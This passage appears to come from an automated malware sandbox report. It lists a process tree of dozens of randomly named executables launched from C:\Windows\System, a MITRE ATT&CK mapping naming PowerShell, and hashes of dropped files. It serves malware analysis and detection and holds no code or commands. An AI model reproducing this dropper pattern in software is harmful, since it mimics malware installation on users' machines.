  2⤵
  PID:7528
- C:\Windows\System\micfjRz.exe
  C:\Windows\System\micfjRz.exe
  2⤵
  PID:7340
- C:\Windows\System\HixgLqf.exe
  C:\Windows\System\HixgLqf.exe
  2⤵
  PID:7636
- C:\Windows\System\SNkZAiX.exe
  C:\Windows\System\SNkZAiX.exe
  2⤵
  PID:7780
- C:\Windows\System\Synwnpi.exe
  C:\Windows\System\Synwnpi.exe
  2⤵
  PID:7204
- C:\Windows\System\wjxnwSa.exe
  C:\Windows\System\wjxnwSa.exe
  2⤵
  PID:7324
- C:\Windows\System\qdQMsdW.exe
  C:\Windows\System\qdQMsdW.exe
  2⤵
  PID:7184
- C:\Windows\System\uPTzJgb.exe
  C:\Windows\System\uPTzJgb.exe
  2⤵
  PID:6452
- C:\Windows\System\wXrvfkh.exe
  C:\Windows\System\wXrvfkh.exe
  2⤵
  PID:6760
- C:\Windows\System\lEwpFXG.exe
  C:\Windows\System\lEwpFXG.exe
  2⤵
  PID:7772
- C:\Windows\System\DVMvaAx.exe
  C:\Windows\System\DVMvaAx.exe
  2⤵
  PID:8108
- C:\Windows\System\ejXpEkx.exe
  C:\Windows\System\ejXpEkx.exe
  2⤵
  PID:7596
- C:\Windows\System\IxPHEiG.exe
  C:\Windows\System\IxPHEiG.exe
  2⤵
  PID:8116
- C:\Windows\System\XruBFqx.exe
  C:\Windows\System\XruBFqx.exe
  2⤵
  PID:8204
- C:\Windows\System\elYeCLM.exe
  C:\Windows\System\elYeCLM.exe
  2⤵
  PID:8228
- C:\Windows\System\MNLJbPy.exe
  C:\Windows\System\MNLJbPy.exe
  2⤵
  PID:8260
- C:\Windows\System\WXSuubG.exe
  C:\Windows\System\WXSuubG.exe
  2⤵
  PID:8276
- C:\Windows\System\wRepGsw.exe
  C:\Windows\System\wRepGsw.exe
  2⤵
  PID:8296
- C:\Windows\System\aBDibZb.exe
  C:\Windows\System\aBDibZb.exe
  2⤵
  PID:8324
- C:\Windows\System\GxUXmvR.exe
  C:\Windows\System\GxUXmvR.exe
  2⤵
  PID:8344
- C:\Windows\System\hzJgcLW.exe
  C:\Windows\System\hzJgcLW.exe
  2⤵
  PID:8360
- C:\Windows\System\HSgWikv.exe
  C:\Windows\System\HSgWikv.exe
  2⤵
  PID:8420
- C:\Windows\System\yufMwkW.exe
  C:\Windows\System\yufMwkW.exe
  2⤵
  PID:8436
- C:\Windows\System\sgOixkC.exe
  C:\Windows\System\sgOixkC.exe
  2⤵
  PID:8452
- C:\Windows\System\hCVTfkD.exe
  C:\Windows\System\hCVTfkD.exe
  2⤵
  PID:8468
- C:\Windows\System\vufhCWn.exe
  C:\Windows\System\vufhCWn.exe
  2⤵
  PID:8508
- C:\Windows\System\UoiZKXG.exe
  C:\Windows\System\UoiZKXG.exe
  2⤵
  PID:8524
- C:\Windows\System\xajRRxn.exe
  C:\Windows\System\xajRRxn.exe
  2⤵
  PID:8540
- C:\Windows\System\jNSkdpA.exe
  C:\Windows\System\jNSkdpA.exe
  2⤵
  PID:8560
- C:\Windows\System\eYAwYyH.exe
  C:\Windows\System\eYAwYyH.exe
  2⤵
  PID:8576
- C:\Windows\System\VuFYCoP.exe
  C:\Windows\System\VuFYCoP.exe
  2⤵
  PID:8592
- C:\Windows\System\VPqKeHg.exe
  C:\Windows\System\VPqKeHg.exe
  2⤵
  PID:8608
- C:\Windows\System\wOQKwGK.exe
  C:\Windows\System\wOQKwGK.exe
  2⤵
  PID:8624
- C:\Windows\System\stystwA.exe
  C:\Windows\System\stystwA.exe
  2⤵
  PID:8640
- C:\Windows\System\kZCUCJm.exe
  C:\Windows\System\kZCUCJm.exe
  2⤵
  PID:8656
- C:\Windows\System\BJybsjZ.exe
  C:\Windows\System\BJybsjZ.exe
  2⤵
  PID:8672
- C:\Windows\System\XOcULLI.exe
  C:\Windows\System\XOcULLI.exe
  2⤵
  PID:8688
- C:\Windows\System\oSmGkDO.exe
  C:\Windows\System\oSmGkDO.exe
  2⤵
  PID:8704
- C:\Windows\System\qKqCzEr.exe
  C:\Windows\System\qKqCzEr.exe
  2⤵
  PID:8720
- C:\Windows\System\DqXyCOV.exe
  C:\Windows\System\DqXyCOV.exe
  2⤵
  PID:8736
- C:\Windows\System\iVxAQcp.exe
  C:\Windows\System\iVxAQcp.exe
  2⤵
  PID:8760
- C:\Windows\System\kwbRBAd.exe
  C:\Windows\System\kwbRBAd.exe
  2⤵
  PID:8788
- C:\Windows\System\RnZomGv.exe
  C:\Windows\System\RnZomGv.exe
  2⤵
  PID:8812
- C:\Windows\System\lqkkJot.exe
  C:\Windows\System\lqkkJot.exe
  2⤵
  PID:8832
- C:\Windows\System\sxZAXUH.exe
  C:\Windows\System\sxZAXUH.exe
  2⤵
  PID:8852
- C:\Windows\System\eEGdUqK.exe
  C:\Windows\System\eEGdUqK.exe
  2⤵
  PID:8868
- C:\Windows\System\nBWGraG.exe
  C:\Windows\System\nBWGraG.exe
  2⤵
  PID:8888
- C:\Windows\System\wLOwJap.exe
  C:\Windows\System\wLOwJap.exe
  2⤵
  PID:8904
- C:\Windows\System\vdpMlhj.exe
  C:\Windows\System\vdpMlhj.exe
  2⤵
  PID:8928
- C:\Windows\System\qVsmmCG.exe
  C:\Windows\System\qVsmmCG.exe
  2⤵
  PID:8992
- C:\Windows\System\TVrCMPB.exe
  C:\Windows\System\TVrCMPB.exe
  2⤵
  PID:9008
- C:\Windows\System\qKoJyPG.exe
  C:\Windows\System\qKoJyPG.exe
  2⤵
  PID:9024
- C:\Windows\System\WvzHyal.exe
  C:\Windows\System\WvzHyal.exe
  2⤵
  PID:9040
- C:\Windows\System\cUJTyUY.exe
  C:\Windows\System\cUJTyUY.exe
  2⤵
  PID:9056
- C:\Windows\System\aKzfuXZ.exe
  C:\Windows\System\aKzfuXZ.exe
  2⤵
  PID:9076
- C:\Windows\System\cRSEVGh.exe
  C:\Windows\System\cRSEVGh.exe
  2⤵
  PID:9092
- C:\Windows\System\NcHEMRi.exe
  C:\Windows\System\NcHEMRi.exe
  2⤵
  PID:9108
- C:\Windows\System\jnbMBmU.exe
  C:\Windows\System\jnbMBmU.exe
  2⤵
  PID:9124
- C:\Windows\System\veGhUiE.exe
  C:\Windows\System\veGhUiE.exe
  2⤵
  PID:9140
- C:\Windows\System\bBrnbfW.exe
  C:\Windows\System\bBrnbfW.exe
  2⤵
  PID:9156
- C:\Windows\System\HmUcLuF.exe
  C:\Windows\System\HmUcLuF.exe
  2⤵
  PID:9172
- C:\Windows\System\bgtfOoD.exe
  C:\Windows\System\bgtfOoD.exe
  2⤵
  PID:9188
- C:\Windows\System\upfvyHe.exe
  C:\Windows\System\upfvyHe.exe
  2⤵
  PID:9204
- C:\Windows\System\tEEAizm.exe
  C:\Windows\System\tEEAizm.exe
  2⤵
  PID:8212
- C:\Windows\System\zrUvhRI.exe
  C:\Windows\System\zrUvhRI.exe
  2⤵
  PID:8268
- C:\Windows\System\cdIzCId.exe
  C:\Windows\System\cdIzCId.exe
  2⤵
  PID:8352
- C:\Windows\System\WNueXtz.exe
  C:\Windows\System\WNueXtz.exe
  2⤵
  PID:7564
- C:\Windows\System\dJxOZXi.exe
  C:\Windows\System\dJxOZXi.exe
  2⤵
  PID:7732
- C:\Windows\System\rdznqRL.exe
  C:\Windows\System\rdznqRL.exe
  2⤵
  PID:7308
- C:\Windows\System\OuCdvqf.exe
  C:\Windows\System\OuCdvqf.exe
  2⤵
  PID:7384
- C:\Windows\System\FSWLKsK.exe
  C:\Windows\System\FSWLKsK.exe
  2⤵
  PID:7260
- C:\Windows\System\KYwYkNL.exe
  C:\Windows\System\KYwYkNL.exe
  2⤵
  PID:7608
- C:\Windows\System\GGalEuo.exe
  C:\Windows\System\GGalEuo.exe
  2⤵
  PID:8240
- C:\Windows\System\YNcibAb.exe
  C:\Windows\System\YNcibAb.exe
  2⤵
  PID:8284
- C:\Windows\System\xBBVEGV.exe
  C:\Windows\System\xBBVEGV.exe
  2⤵
  PID:8368
- C:\Windows\System\SukRhZx.exe
  C:\Windows\System\SukRhZx.exe
  2⤵
  PID:8388
- C:\Windows\System\ufDyVWX.exe
  C:\Windows\System\ufDyVWX.exe
  2⤵
  PID:8404
- C:\Windows\System\SsJPZlJ.exe
  C:\Windows\System\SsJPZlJ.exe
  2⤵
  PID:8416
- C:\Windows\System\hFtcuvL.exe
  C:\Windows\System\hFtcuvL.exe
  2⤵
  PID:8476
- C:\Windows\System\JYpKIrQ.exe
  C:\Windows\System\JYpKIrQ.exe
  2⤵
  PID:8464
- C:\Windows\System\BIqUivm.exe
  C:\Windows\System\BIqUivm.exe
  2⤵
  PID:8516
- C:\Windows\System\sokWuCt.exe
  C:\Windows\System\sokWuCt.exe
  2⤵
  PID:8616
- C:\Windows\System\XUfDtWT.exe
  C:\Windows\System\XUfDtWT.exe
  2⤵
  PID:8548
- C:\Windows\System\KuEmakI.exe
  C:\Windows\System\KuEmakI.exe
  2⤵
  PID:8744
- C:\Windows\System\ssEitMI.exe
  C:\Windows\System\ssEitMI.exe
  2⤵
  PID:8796
- C:\Windows\System\aQfbEpb.exe
  C:\Windows\System\aQfbEpb.exe
  2⤵
  PID:8840
- C:\Windows\System\pEfMzaJ.exe
  C:\Windows\System\pEfMzaJ.exe
  2⤵
  PID:8880
- C:\Windows\System\eLqypSx.exe
  C:\Windows\System\eLqypSx.exe
  2⤵
  PID:8916
- C:\Windows\System\kvRzuSU.exe
  C:\Windows\System\kvRzuSU.exe
  2⤵
  PID:8668
- C:\Windows\System\jyYateC.exe
  C:\Windows\System\jyYateC.exe
  2⤵
  PID:8768
- C:\Windows\System\iRDfrkv.exe
  C:\Windows\System\iRDfrkv.exe
  2⤵
  PID:8940
- C:\Windows\System\lIsgeaP.exe
  C:\Windows\System\lIsgeaP.exe
  2⤵
  PID:8968
- C:\Windows\System\LojMINv.exe
  C:\Windows\System\LojMINv.exe
  2⤵
  PID:8988
- C:\Windows\System\neeMhtt.exe
  C:\Windows\System\neeMhtt.exe
  2⤵
  PID:9036
- C:\Windows\System\KUdoRoO.exe
  C:\Windows\System\KUdoRoO.exe
  2⤵
  PID:9104
- C:\Windows\System\gZwQnSG.exe
  C:\Windows\System\gZwQnSG.exe
  2⤵
  PID:9196
- C:\Windows\System\uQAJEej.exe
  C:\Windows\System\uQAJEej.exe
  2⤵
  PID:7488
- C:\Windows\System\TrJLCDZ.exe
  C:\Windows\System\TrJLCDZ.exe
  2⤵
  PID:8224
- C:\Windows\System\ksLuVqK.exe
  C:\Windows\System\ksLuVqK.exe
  2⤵
  PID:7712
- C:\Windows\System\qOLCYKm.exe
  C:\Windows\System\qOLCYKm.exe
  2⤵
  PID:8200
- C:\Windows\System\jDVWVxv.exe
  C:\Windows\System\jDVWVxv.exe
  2⤵
  PID:8340
- C:\Windows\System\OhKImoE.exe
  C:\Windows\System\OhKImoE.exe
  2⤵
  PID:8432
- C:\Windows\System\oPTkKDm.exe
  C:\Windows\System\oPTkKDm.exe
  2⤵
  PID:8652
- C:\Windows\System\UTDMbsu.exe
  C:\Windows\System\UTDMbsu.exe
  2⤵
  PID:8884
- C:\Windows\System\TChJqwy.exe
  C:\Windows\System\TChJqwy.exe
  2⤵
  PID:9084
- C:\Windows\System\SWfEKsw.exe
  C:\Windows\System\SWfEKsw.exe
  2⤵
  PID:7180
- C:\Windows\System\LWccAXr.exe
  C:\Windows\System\LWccAXr.exe
  2⤵
  PID:9120
- C:\Windows\System\RvAskpE.exe
  C:\Windows\System\RvAskpE.exe
  2⤵
  PID:9212
- C:\Windows\System\ybTjKhf.exe
  C:\Windows\System\ybTjKhf.exe
  2⤵
  PID:8320
- C:\Windows\System\hnXVgdg.exe
  C:\Windows\System\hnXVgdg.exe
  2⤵
  PID:7200
- C:\Windows\System\UqXKHMD.exe
  C:\Windows\System\UqXKHMD.exe
  2⤵
  PID:8380
- C:\Windows\System\fXuAGly.exe
  C:\Windows\System\fXuAGly.exe
  2⤵
  PID:8480
- C:\Windows\System\bKUnUzg.exe
  C:\Windows\System\bKUnUzg.exe
  2⤵
  PID:8584
- C:\Windows\System\ekedAEa.exe
  C:\Windows\System\ekedAEa.exe
  2⤵
  PID:8716
- C:\Windows\System\hnTUxpt.exe
  C:\Windows\System\hnTUxpt.exe
  2⤵
  PID:8860
- C:\Windows\System\dxNelSr.exe
  C:\Windows\System\dxNelSr.exe
  2⤵
  PID:8536
- C:\Windows\System\QpMyusN.exe
  C:\Windows\System\QpMyusN.exe
  2⤵
  PID:8632
- C:\Windows\System\husNfPd.exe
  C:\Windows\System\husNfPd.exe
  2⤵
  PID:8732
- C:\Windows\System\aoqCvuQ.exe
  C:\Windows\System\aoqCvuQ.exe
  2⤵
  PID:8900
- C:\Windows\System\iRhJYZe.exe
  C:\Windows\System\iRhJYZe.exe
  2⤵
  PID:8604
- C:\Windows\System\TrVjzCO.exe
  C:\Windows\System\TrVjzCO.exe
  2⤵
  PID:8976
- C:\Windows\System\xspHvvF.exe
  C:\Windows\System\xspHvvF.exe
  2⤵
  PID:9100
- C:\Windows\System\EpcmCRb.exe
  C:\Windows\System\EpcmCRb.exe
  2⤵
  PID:7748
- C:\Windows\System\vGLRlkL.exe
  C:\Windows\System\vGLRlkL.exe
  2⤵
  PID:8504
- C:\Windows\System\CoErfGg.exe
  C:\Windows\System\CoErfGg.exe
  2⤵
  PID:8600
- C:\Windows\System\CNsykuh.exe
  C:\Windows\System\CNsykuh.exe
  2⤵
  PID:9032
- C:\Windows\System\xsUkUlz.exe
  C:\Windows\System\xsUkUlz.exe
  2⤵
  PID:8216
- C:\Windows\System\HoAJbwj.exe
  C:\Windows\System\HoAJbwj.exe
  2⤵
  PID:8400
- C:\Windows\System\jtozHyD.exe
  C:\Windows\System\jtozHyD.exe
  2⤵
  PID:8020
- C:\Windows\System\ojKOkje.exe
  C:\Windows\System\ojKOkje.exe
  2⤵
  PID:7876
- C:\Windows\System\ohGZUnI.exe
  C:\Windows\System\ohGZUnI.exe
  2⤵
  PID:8636
- C:\Windows\System\cIXnYkh.exe
  C:\Windows\System\cIXnYkh.exe
  2⤵
  PID:8972
- C:\Windows\System\WHlvDaF.exe
  C:\Windows\System\WHlvDaF.exe
  2⤵
  PID:8648
- C:\Windows\System\GVuIoZZ.exe
  C:\Windows\System\GVuIoZZ.exe
  2⤵
  PID:9088
- C:\Windows\System\wKBNWox.exe
  C:\Windows\System\wKBNWox.exe
  2⤵
  PID:9048
- C:\Windows\System\MEIWfXI.exe
  C:\Windows\System\MEIWfXI.exe
  2⤵
  PID:8376
- C:\Windows\System\iFEsCtU.exe
  C:\Windows\System\iFEsCtU.exe
  2⤵
  PID:8824
- C:\Windows\System\NYdDPuI.exe
  C:\Windows\System\NYdDPuI.exe
  2⤵
  PID:8684
- C:\Windows\System\aaCDvSv.exe
  C:\Windows\System\aaCDvSv.exe
  2⤵
  PID:8876
- C:\Windows\System\fjvBBpQ.exe
  C:\Windows\System\fjvBBpQ.exe
  2⤵
  PID:9004
- C:\Windows\System\xIjBBjD.exe
  C:\Windows\System\xIjBBjD.exe
  2⤵
  PID:8808
- C:\Windows\System\NxkueOz.exe
  C:\Windows\System\NxkueOz.exe
  2⤵
  PID:8444
- C:\Windows\System\UoslBDC.exe
  C:\Windows\System\UoslBDC.exe
  2⤵
  PID:8756
- C:\Windows\System\rCClyhH.exe
  C:\Windows\System\rCClyhH.exe
  2⤵
  PID:8304
- C:\Windows\System\qBNQCOk.exe
  C:\Windows\System\qBNQCOk.exe
  2⤵
  PID:8780
- C:\Windows\System\YqAVeMM.exe
  C:\Windows\System\YqAVeMM.exe
  2⤵
  PID:8172
- C:\Windows\System\KeXpYGD.exe
  C:\Windows\System\KeXpYGD.exe
  2⤵
  PID:8712
- C:\Windows\System\IKaBwFq.exe
  C:\Windows\System\IKaBwFq.exe
  2⤵
  PID:8220
- C:\Windows\System\tLmjBId.exe
  C:\Windows\System\tLmjBId.exe
  2⤵
  PID:8828
- C:\Windows\System\YCKhrJJ.exe
  C:\Windows\System\YCKhrJJ.exe
  2⤵
  PID:8256
- C:\Windows\System\ZodnNFX.exe
  C:\Windows\System\ZodnNFX.exe
  2⤵
  PID:9220
- C:\Windows\System\aqNnqWz.exe
  C:\Windows\System\aqNnqWz.exe
  2⤵
  PID:9308
- C:\Windows\System\hwhgZmW.exe
  C:\Windows\System\hwhgZmW.exe
  2⤵
  PID:9324
- C:\Windows\System\vpqWiGV.exe
  C:\Windows\System\vpqWiGV.exe
  2⤵
  PID:9340
- C:\Windows\System\eybiJiN.exe
  C:\Windows\System\eybiJiN.exe
  2⤵
  PID:9356
- C:\Windows\System\lvAOxsb.exe
  C:\Windows\System\lvAOxsb.exe
  2⤵
  PID:9372
- C:\Windows\System\uJGDuEz.exe
  C:\Windows\System\uJGDuEz.exe
  2⤵
  PID:9388
- C:\Windows\System\BxSRbzt.exe
  C:\Windows\System\BxSRbzt.exe
  2⤵
  PID:9412
- C:\Windows\System\wQjHDAd.exe
  C:\Windows\System\wQjHDAd.exe
  2⤵
  PID:9432
- C:\Windows\System\dgRbkqy.exe
  C:\Windows\System\dgRbkqy.exe
  2⤵
  PID:9448
- C:\Windows\System\XfUelJz.exe
  C:\Windows\System\XfUelJz.exe
  2⤵
  PID:9464
- C:\Windows\System\PENyJmS.exe
  C:\Windows\System\PENyJmS.exe
  2⤵
  PID:9480
- C:\Windows\System\QXraUVl.exe
  C:\Windows\System\QXraUVl.exe
  2⤵
  PID:9500
- C:\Windows\System\niikzNK.exe
  C:\Windows\System\niikzNK.exe
  2⤵
  PID:9540
- C:\Windows\System\DhYyVTG.exe
  C:\Windows\System\DhYyVTG.exe
  2⤵
  PID:9560
- C:\Windows\System\MISIpQn.exe
  C:\Windows\System\MISIpQn.exe
  2⤵
  PID:9604
- C:\Windows\System\vZtyALy.exe
  C:\Windows\System\vZtyALy.exe
  2⤵
  PID:9628
- C:\Windows\System\MDnDgTp.exe
  C:\Windows\System\MDnDgTp.exe
  2⤵
  PID:9644
- C:\Windows\System\bDhWEXN.exe
  C:\Windows\System\bDhWEXN.exe
  2⤵
  PID:9668
- C:\Windows\System\wmJCCPH.exe
  C:\Windows\System\wmJCCPH.exe
  2⤵
  PID:9688
- C:\Windows\System\sxTGnrv.exe
  C:\Windows\System\sxTGnrv.exe
  2⤵
  PID:9704
- C:\Windows\System\mfpnFqH.exe
  C:\Windows\System\mfpnFqH.exe
  2⤵
  PID:9724
- C:\Windows\System\RGPQHxT.exe
  C:\Windows\System\RGPQHxT.exe
  2⤵
  PID:9740
- C:\Windows\System\GecKJVB.exe
  C:\Windows\System\GecKJVB.exe
  2⤵
  PID:9756
- C:\Windows\System\heudttg.exe
  C:\Windows\System\heudttg.exe
  2⤵
  PID:9776
- C:\Windows\System\BoChoWk.exe
  C:\Windows\System\BoChoWk.exe
  2⤵
  PID:9792
- C:\Windows\System\xbfvOum.exe
  C:\Windows\System\xbfvOum.exe
  2⤵
  PID:9816
- C:\Windows\System\rggUgeN.exe
  C:\Windows\System\rggUgeN.exe
  2⤵
  PID:9832
- C:\Windows\System\OBiPjdi.exe
  C:\Windows\System\OBiPjdi.exe
  2⤵
  PID:9852
- C:\Windows\System\tujaCdn.exe
  C:\Windows\System\tujaCdn.exe
  2⤵
  PID:9868
- C:\Windows\System\PdmQufo.exe
  C:\Windows\System\PdmQufo.exe
  2⤵
  PID:9888
- C:\Windows\System\cYzoIcM.exe
  C:\Windows\System\cYzoIcM.exe
  2⤵
  PID:9904
- C:\Windows\System\rbrZiQm.exe
  C:\Windows\System\rbrZiQm.exe
  2⤵
  PID:9924
- C:\Windows\System\gMUnUes.exe
  C:\Windows\System\gMUnUes.exe
  2⤵
  PID:9940
- C:\Windows\System\neaTWNw.exe
  C:\Windows\System\neaTWNw.exe
  2⤵
  PID:9956
- C:\Windows\System\UkEckRp.exe
  C:\Windows\System\UkEckRp.exe
  2⤵
  PID:9976
- C:\Windows\System\jQXTsrc.exe
  C:\Windows\System\jQXTsrc.exe
  2⤵
  PID:9992
- C:\Windows\System\XIdvaWa.exe
  C:\Windows\System\XIdvaWa.exe
  2⤵
  PID:10012
- C:\Windows\System\yJGaCRz.exe
  C:\Windows\System\yJGaCRz.exe
  2⤵
  PID:10028
- C:\Windows\System\UWqmabn.exe
  C:\Windows\System\UWqmabn.exe
  2⤵
  PID:10048
- C:\Windows\System\NmeJZvL.exe
  C:\Windows\System\NmeJZvL.exe
  2⤵
  PID:10080
- C:\Windows\System\kVzqsUd.exe
  C:\Windows\System\kVzqsUd.exe
  2⤵
  PID:10100
- C:\Windows\System\NMExGWX.exe
  C:\Windows\System\NMExGWX.exe
  2⤵
  PID:10116
- C:\Windows\System\EetbUmC.exe
  C:\Windows\System\EetbUmC.exe
  2⤵
  PID:10176
- C:\Windows\System\gIyhqvj.exe
  C:\Windows\System\gIyhqvj.exe
  2⤵
  PID:10192
- C:\Windows\System\PoPXiZD.exe
  C:\Windows\System\PoPXiZD.exe
  2⤵
  PID:10212
- C:\Windows\System\kbgZvON.exe
  C:\Windows\System\kbgZvON.exe
  2⤵
  PID:10236
- C:\Windows\System\ZgGcZxK.exe
  C:\Windows\System\ZgGcZxK.exe
  2⤵
  PID:9068
- C:\Windows\System\fYWqVYc.exe
  C:\Windows\System\fYWqVYc.exe
  2⤵
  PID:9236
- C:\Windows\System\doMmmgg.exe
  C:\Windows\System\doMmmgg.exe
  2⤵
  PID:8552
- C:\Windows\System\BwRIweq.exe
  C:\Windows\System\BwRIweq.exe
  2⤵
  PID:9252
- C:\Windows\System\BAUyLsQ.exe
  C:\Windows\System\BAUyLsQ.exe
  2⤵
  PID:9268
- C:\Windows\System\ajmHudb.exe
  C:\Windows\System\ajmHudb.exe
  2⤵
  PID:9288
- C:\Windows\System\EuTznyn.exe
  C:\Windows\System\EuTznyn.exe
  2⤵
  PID:9300
- C:\Windows\System\ITueAIf.exe
  C:\Windows\System\ITueAIf.exe
  2⤵
  PID:9320
- C:\Windows\System\xenCvOu.exe
  C:\Windows\System\xenCvOu.exe
  2⤵
  PID:9492
- C:\Windows\System\QJYBXLs.exe
  C:\Windows\System\QJYBXLs.exe
  2⤵
  PID:9424
- C:\Windows\System\FhsAUNY.exe
  C:\Windows\System\FhsAUNY.exe
  2⤵
  PID:9332
- C:\Windows\System\dDXokrD.exe
  C:\Windows\System\dDXokrD.exe
  2⤵
  PID:9408
- C:\Windows\System\xqaoDek.exe
  C:\Windows\System\xqaoDek.exe
  2⤵
  PID:9364
- C:\Windows\System\cROJMbq.exe
  C:\Windows\System\cROJMbq.exe
  2⤵
  PID:9516
- C:\Windows\System\pgVeVmw.exe
  C:\Windows\System\pgVeVmw.exe
  2⤵
  PID:9548
- C:\Windows\System\yUEDElt.exe
  C:\Windows\System\yUEDElt.exe
  2⤵
  PID:9568
- C:\Windows\System\sENpmHp.exe
  C:\Windows\System\sENpmHp.exe
  2⤵
  PID:9624
- C:\Windows\System\iPklmoV.exe
  C:\Windows\System\iPklmoV.exe
  2⤵
  PID:9696
- C:\Windows\System\gOQiEMl.exe
  C:\Windows\System\gOQiEMl.exe
  2⤵
  PID:9764
- C:\Windows\System\ZBQTwUf.exe
  C:\Windows\System\ZBQTwUf.exe
  2⤵
  PID:9804
- C:\Windows\System\MReJSVT.exe
  C:\Windows\System\MReJSVT.exe
  2⤵
  PID:9848
- C:\Windows\System\wKHqTXl.exe
  C:\Windows\System\wKHqTXl.exe
  2⤵
  PID:9952
- C:\Windows\System\BdAbryH.exe
  C:\Windows\System\BdAbryH.exe
  2⤵
  PID:10076
- C:\Windows\System\rQfhCIm.exe
  C:\Windows\System\rQfhCIm.exe
  2⤵
  PID:9680
- C:\Windows\System\DwTbebf.exe
  C:\Windows\System\DwTbebf.exe
  2⤵
  PID:9784
- C:\Windows\System\ueOhXQv.exe
  C:\Windows\System\ueOhXQv.exe
  2⤵
  PID:9684
- C:\Windows\System\uPiTtJH.exe
  C:\Windows\System\uPiTtJH.exe
  2⤵
  PID:9860
- C:\Windows\System\OVkwihX.exe
  C:\Windows\System\OVkwihX.exe
  2⤵
  PID:10000
- C:\Windows\System\HqEnixm.exe
  C:\Windows\System\HqEnixm.exe
  2⤵
  PID:10092
- C:\Windows\System\xfLPIWN.exe
  C:\Windows\System\xfLPIWN.exe
  2⤵
  PID:10140
- C:\Windows\System\RPbiwoi.exe
  C:\Windows\System\RPbiwoi.exe
  2⤵
  PID:10156
- C:\Windows\System\ByIGhSB.exe
  C:\Windows\System\ByIGhSB.exe
  2⤵
  PID:10188
- C:\Windows\System\YUaBotg.exe
  C:\Windows\System\YUaBotg.exe
  2⤵
  PID:10220
- C:\Windows\System\LqlCIjh.exe
  C:\Windows\System\LqlCIjh.exe
  2⤵
  PID:1012
- C:\Windows\System\yUPraRR.exe
  C:\Windows\System\yUPraRR.exe
  2⤵
  PID:9280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CzgOALd.exe

Path C:\Windows\system\CzgOALd.exe
Size 3.1MB
SHA256 07adaabfce9cf64726515f677be398deaed8337a3e3b6d16c6c49c12185a0aa5
MD5 a734a84f7f4d5c33750f7fe8c9e81e04
SHA1 6f9752ea932c659d02dc56759a8698173ec39469
SHA512 479ee90ffd4ce46de30d59aaefd31abf1b3ea35043657cae5f42527a2bda6f50ddb71fecda413b22ab2d73d617ed521108fe575766fcc18886162cd12d988665
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWt:SbBeSFkJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

DVKzEtI.exe

Path C:\Windows\system\DVKzEtI.exe
Size 3.1MB
SHA256 b825e0b14cd7884e15dd8b67fe7e43883d0e260bf294fcc502cfc86f49695182
MD5 d142cd6e109a6ff69a00e891521af4bf
SHA1 b99d0018a44cb68fcb12231b1c8decb4119a2bad
SHA512 fa05ff3509663948ff9c496efb7246502eacd64773bb4dc7131818c614f9ab64efda612223ee301a0b80e235398c64b041a9f900a561e6e22028f24668268146
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWo:SbBeSFkM
MD5 SHA1 SHA512 SSDEEP

Submit Download

HLPEsgP.exe

Path C:\Windows\system\HLPEsgP.exe
Size 3.1MB
SHA256 4ba8dd69ee8bca03589951a761370677bdf00ab74a0c858b0a1456e61478593e
MD5 ef192ba41d6ab1c95f8cd723d18479c6
SHA1 f3ca32f5324ca5b27166086ade41d253bff6073d
SHA512 8a41405142bc0e0393546426eff49e4ad9db1b30fa2e969a5ce22760d5f723c90f4f796e2e53ded48b39694bacff7baef1b34421c0f56f57eac6abd1988aae91
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWR:SbBeSFk9
MD5 SHA1 SHA512 SSDEEP

Submit Download

OFDoGVh.exe

Path C:\Windows\system\OFDoGVh.exe
Size 3.1MB
SHA256 4f0937a97fb43149557e4e9e1da0e28b91e3c664651b0baaaffe1178bffa60c8
MD5 602872bf755604bc443a521ea8579eb5
SHA1 66dbb058b1d5666b609beea4b7d77bf3bc6922e2
SHA512 0f171b36f21ec1584ac4d25a6422855965fb555f8c8d4d4f78c1026f305be8df18269e52f1d2540901501e405a3fbf47113aef0a116c3c4d7932be8a20d95cbc
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWL:SbBeSFkX
MD5 SHA1 SHA512 SSDEEP

Submit Download

TprKtJQ.exe

Path C:\Windows\system\TprKtJQ.exe
Size 3.1MB
SHA256 4d9f2b2397c53378f0b05ba7f33fe543338e1495e69a1407c975c21ad7d1d481
MD5 0ab7c55f1ff2b0a732ab4a187f47f4db
SHA1 dd92b0fb6e63d24d0a63f74107a6a4fb5b3b7fb5
SHA512 dcff94a14b1a599d5f9e2d19bb52c45a6c2ae92a718bc17579a3b09f009ffe3677c762d000010842336cb43b3ea3b828b260246bb735db651d0587491097fafc
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWu:SbBeSFkC
MD5 SHA1 SHA512 SSDEEP

Submit Download

WasWoTp.exe

Path C:\Windows\system\WasWoTp.exe
Size 3.1MB
SHA256 886c5fc9c02bf61753f8836d9cd7fc49e77b1e8e686ec7f0018f53787840f32d
MD5 37e7904d5e0d4c4294140e4a653bf9ba
SHA1 9a64b586e34cbbb3dc76e9b4f660b4c8bf5ca3e8
SHA512 399c284e00989d1e04d36cc8f32f43767403fad4dbdb945b62dca9d1d9130ba768fe5031669ae89c4fb0c3128a2b603f9a655eb3278411fb83c0082f214aa5d8
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWJ:SbBeSFkN
MD5 SHA1 SHA512 SSDEEP

Submit Download

WcwkIzK.exe

Path C:\Windows\system\WcwkIzK.exe
Size 3.1MB
SHA256 c756cb5cd1bb1b1a396177a5fc2e04f84ea5d6a848379b1a288f9510602c3904
MD5 470270ccd182794cad279e7c54cbcb57
SHA1 defee3cf6a66b746fbd79ace2c62919dbd37f2f4
SHA512 053effb581ebb65e8910febea1b2e9083d7e6a0fa76db2e4703cbec2c1c1c8381ec497a9b5e283f09ce5cced0b6c5cb4f4bcc8476e05d5fbf08307c6ad89ed8f
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWy:SbBeSFku
MD5 SHA1 SHA512 SSDEEP

Submit Download

XQdgwIE.exe

Path C:\Windows\system\XQdgwIE.exe
Size 3.1MB
